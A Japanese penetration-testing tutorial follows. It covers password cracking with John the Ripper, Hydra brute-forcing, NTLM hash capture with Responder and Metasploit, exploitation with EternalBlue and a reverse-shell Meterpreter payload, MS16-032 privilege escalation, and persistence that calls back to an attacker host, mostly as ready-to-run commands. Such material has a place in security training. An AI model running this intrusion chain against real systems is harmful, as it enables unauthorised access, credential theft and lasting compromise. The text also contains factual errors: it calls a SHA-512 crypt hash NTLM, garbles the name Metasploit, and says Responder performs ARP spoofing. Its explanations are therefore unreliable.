パスワード攻撃の基礎とツール活用
セキュリティ breach の多くの要因は、脆弱的な認証情報にあります。ネットワーク管理者やセキュリティエンジニアとして、ユーザーに対し強固なパスワードポリシーを周知することは必須です。しかし、専門家の間でも再使用的なパスワードや弱いパターンが使用され、それがシステム全体のリスクとなり得ます。本節では、ネットワーク上のパスワードを検証し、より安全な運用へ導くためのツールの使用方法について解説します。
ハッシュと辞書リストの処理
暗号化されたパスワードは、通常一定の長さを持つハッシュ値として保存されます。例えば、以下の NTLM ハッシュなどは、元の平文を推測するのが困難に見えます。
$6$NB7JpssH$oDSf1tDxTVfYrpmldppb/vNtK3J.kT2QUjguR58mQAm0gmDHzsbVRSdsN08.lndGJ0cb1UUQgaPB6JV2Mw.Eq.
しかし、「Password」のような一般的な単語は、高速な計算機を使用すれば数秒以内に復元される可能性があります。逆に「GoodLuckTryingToCrackMyPassword!」のような複雑なフレーズは、時間がかかるため安全性が高いです。インターネット上には多数の辞書リストが存在しますが、合法的に使用する際は、漏洩したデータを整理したものを使用する必要があります。
生のデータファイルは、フォーマット不備や余分な文字列を含むことがあり、そのままでは攻撃ツールで使用できません。Linux のコマンドライン機能を活用して、リストを整備するプロセスを示します。
例として、行番号付きでカラム区切りのテキストファイルを想定します。各行から不要な番号と空白を取り除き、単一の単語リストを作成します。
awk '{$1=""; gsub(/^[ \t]+/, ""); print $0}' sample_data.raw > clean_wordlist.txt
この処理により、破損した入力からクリーンなターゲットリストを生成できます。生成されたファイルを別の名前で保存することで、元のデータを汚染することを防ぎます。
オフラインハッシュクラッカーの活用
John the Ripper は最も有名なパスワードクラッキングツールの一つです。GUI インターフェースである Johnny を使用すると設定が容易ですが、リソース消費を抑えたい場合や SSH 接続などでは、CLI 版が適しています。
システムが対応するアルゴリズムを確認するには、テストフラグを使用します。
john --test
取得した NTLM ハッシュを解読する場合、形式を明示的に指定します。
john --format=nt target_captured.db
長さは複雑さ以上に重要であり、7 桁以上になれば解読にかかる時間は指数関数的に増加します。また、GPU を活用することで処理速度を大幅に向上させることも可能です。
オンライン攻撃ツール Hydra
Hydra は、MySQL や SMB など、複数のプロトコルに対するオンラインブルートフォース攻撃に対応しているツールです。xHydra という GUI フロントエンドも存在します。
例えば、WordPress 環境で使用されている MySQL データベースへのアクセスをテストする場合、デフォルトのポート 3306 を標的とします。ターゲットホストを特定し、辞書リストを指定して攻撃を開始します。
hydra -l admin -P rockyou.txt mysql://10.10.10.50
攻撃の設定では、並列タスク数を制限したり、特定のユーザーのみをターゲットにしたりすることで、検知リスクを管理できます。ただし、サービス側のリソース負荷による Denial of Service(DoS)状態にならないよう注意が必要です。
ネットワークプロトコルの脆弱性とエクスプロイト
旧来のプロトコルである NetBIOS や LLMNR は、現代のネットワークにも多く残存しており、悪用可能な余地を提供しています。
NTLM ハニーポットの作成
Responder ツールを使用すると、ネットワーク内の ARP スプーフィングを行い、認証情報を収集することができます。これにより、クライアントからの NTLMv2 ハッシュを取得可能になります。
インターフェースを指定してレスポンダーを起動します。
responder -I eth0 -w -F -d LAB_DOMAIN
ここで `-w` は WPAD エミュレーション、`-F` は基本認証強制などを意味します。ログファイルには、捕獲されたセッションごとのハッシュが記録されます。
メタスペクトロイドとの連携
Responder のサーバー機能を無効にし、代わりに Metasploit のサーバーモジュールを使用して同じ目的を達成することも可能です。これにより、取得した資格情報をメタスペクトロイドのデータベースに直接保存できます。
msfconsole
use auxiliary/server/capture/smb
set SRVHOST 10.10.10.10
run -j
さらに、BadTunnel などの手法を用いて NAT 環境越えのスプーフィングを行うモジュールも利用可能です。
メタスペクトロイドによる Windows 攻撃
メタスペクトロイド(Metasploit Framework)は、包括的なペネトレーションテストプラットフォームです。スキャン結果に基づいて適切なモジュールを選択し、攻撃を実施します。
ワークスペースの管理と情報収集
作業を整理するために、プロジェクトごとにワークスペースを作成します。
workspace -a Project_2024_Target
db_nmap -sS -sV 10.10.10.0/24
hosts
これにより、スキャン情報が自動的にデータベースにインポートされ、検索が可能になります。SMB サービスの詳細を調査するために、Scanner モジュールを使用します。
既知の脆弱性の悪用
MS17-010(EternalBlue)のような重要な脆弱性を対象としたスキャンを行います。
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.0/24
exploit
脆弱性が検出された場合、専用のエクスプロイトモジュールを使用してシェルを取得します。
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.10.10.15
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
成功すれば、Meterpreter セッションを通じてシステム情報の照会や、ハッシュダンプなどが可能になります。
ローカル権限昇格と維持
初期侵入後、通常ユーザー権限から SYSTEM 権限への昇格(ローカルエスケープ)が行われます。
権限昇格の試行
いくつかの既存のエクスプロイトが検証されます。MS16-032 などのホットフィックス適用状況により有効性は異なります。
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 2
exploit
また、UAC(ユーザーアカウント制御)を回避するために、バッチファイルや VBScript を用いた迂回手法が試みられることがあります。UAC が有効な場合、手動での設定変更や再起動が必要になるケースもあります。
アクセスの永続化
システムの再起動後もアクセスを維持するため、レジストリエントリや定期タスクへの登録を行います。
run persistence -U -X -p 4444 -r 10.10.10.10
あるいは、AT コマンドを使用してスケジュールタスクとして実行するアプローチも可能です。
shell
net start "task scheduler"
at 23:30 /every:M,T,W,Th,F,Sa,Su C:\Windows\server.exe
これらの手法は、攻撃者がシステムに定着するための手段となります。